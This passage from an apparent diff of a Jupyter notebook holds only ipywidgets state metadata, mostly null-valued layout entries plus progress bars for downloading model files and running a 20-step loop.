+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9f4a6f9a897c4db0a8d92bf01f3f820c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9f7e4357439944e392d0c9e93068c898": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d923cb2715554512a7faf5b5d73a4ed8",
+            "max": 382,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4399ee6304e94797ac6f36318165d4cc",
+            "value": 382
+          }
+        },
+        "a086d1c6722547d5be5939cf4284a1ef": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a0f1a81a8d8f4e05a26d7a0a61565c53": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a1b45d2ecbe44a158b7a0e2f818922ae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a1ed5abc44e94c1ea19fa959fc95b91a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a207168326fd45159d8eec29ea91ccac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_848755aa7d4a4889b85870aac916c5ff",
+            "placeholder": "​",
+            "style": "IPY_MODEL_922d64656ae0415795f9e50e79d5d5f8",
+            "value": "Downloading model.safetensors: 100%"
+          }
+        },
+        "a212be07369b404eb9f04a9cde6543d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a218d578aded48ba8acca854622c14a9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a2630966b93643e99721ea631339d088": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_6ca84bcd6bea4a92a80d50351aa1be4f",
+              "IPY_MODEL_d2a03fa596c34b12a1aed264e8d08077",
+              "IPY_MODEL_74702e35e09048eabfb470dc85fb5be4"
+            ],
+            "layout": "IPY_MODEL_4276b44c60b64716ab7ad52d8354bc1f"
+          }
+        },
+        "a263feafcec44c2eab4150af170d670a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a27de7fc1bfa486f9ff8829d4d4198f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a9a5528792504d12bf153d2b02fd3847",
+            "placeholder": "​",
+            "style": "IPY_MODEL_439ee7b8de924bf6ba5ee4ef22e0e659",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "a283d06ba73a4fc98e18e7080e794edf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_44bc01157b4945b7b81401f978dce8ca",
+            "max": 342,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e39e7bf535fb4492ae9ac75591e79287",
+            "value": 342
+          }
+        },
+        "a32f66c9b59e4ae2bca41c1c582119e7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a33e6193984b46d4bb9b4187d726009e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1c65960b291c4d92bced5bca619e8256",
+            "placeholder": "​",
+            "style": "IPY_MODEL_194f16cb7fbb42a78d9237e4e6654b58",
+            "value": "100%"
+          }
+        },
+        "a37c136cb6c34c1ea5a66bd78c5750ae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a3ca3b9ce6b24d43bdf8361379b6d502": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a3f598a48fa448dbb44a40c8c7af85e6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c8ce8fd6e04e416381d892fbf75a0b75",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8d62ab081ff94e7abe3cc911d3376bbd",
+            "value": " 20/20 [00:26&lt;00:00,  1.29s/it]"
+          }
+        },
+        "a3fc1ea7dc724184ae564edeb2e755ba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a526959014a644cba47969ebba62fa7c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ceb41aa2ac6c4c1982598a5085f7a977",
+              "IPY_MODEL_8dd1b3d2ce124d2a92d69bb1897a078e",
+              "IPY_MODEL_c7eafdcd51dc419c99b3248093fbfbff"
+            ],
+            "layout": "IPY_MODEL_5eca9f78607349a9893b0c88f3c53181"
+          }
+        },
+        "a56166c024494356bc1b9a9e9a434c86": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a74467c946df4fe99fba1b2751a0cad1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_48dabed3f2ce465ab16a704e0c6b12f7",
+              "IPY_MODEL_810aba56f12342fcbcb7344d08235ec8",
+              "IPY_MODEL_0dc0896c330d417a8b452d27699f86bf"
+            ],
+            "layout": "IPY_MODEL_9074425e4bf04c428926f5504cd3a8de"
+          }
+        },
+        "a8dcc8f3435a4870a76be1729b003b6f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a94d5d8411844431bb022813d14461c0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a97373cd0b29464dac7d2b3bfe3aa276": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_745c74b4ac1942c497d0bee51b2e7b17",
+            "placeholder": "​",
+            "style": "IPY_MODEL_89feac2a7b7d47388548f946fff4c862",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "a999af1084134026904611113b3feac6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_814f29773b6b40d99d03320a3f5fe7d4",
+              "IPY_MODEL_9f7e4357439944e392d0c9e93068c898",
+              "IPY_MODEL_8e31c3cc06bd4e9b92c3b1e6d5a9d61f"
+            ],
+            "layout": "IPY_MODEL_9dc6d26cdb7945ffb31b2c381412a383"
+          }
+        },
+        "a9a5528792504d12bf153d2b02fd3847": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "aa4097be74c3412eb9571ed6ef250828": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "aa79187007a448a381f604ea8b5be0ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "aac46407f5d74ebbb6a58b10de9b86f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "aafa0b9b142a44f79368f411710ea55c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ab44913ac7c44a0f89a963fddf9dba39": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "abb332369a9b4996b84d77eee7e5dc0a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
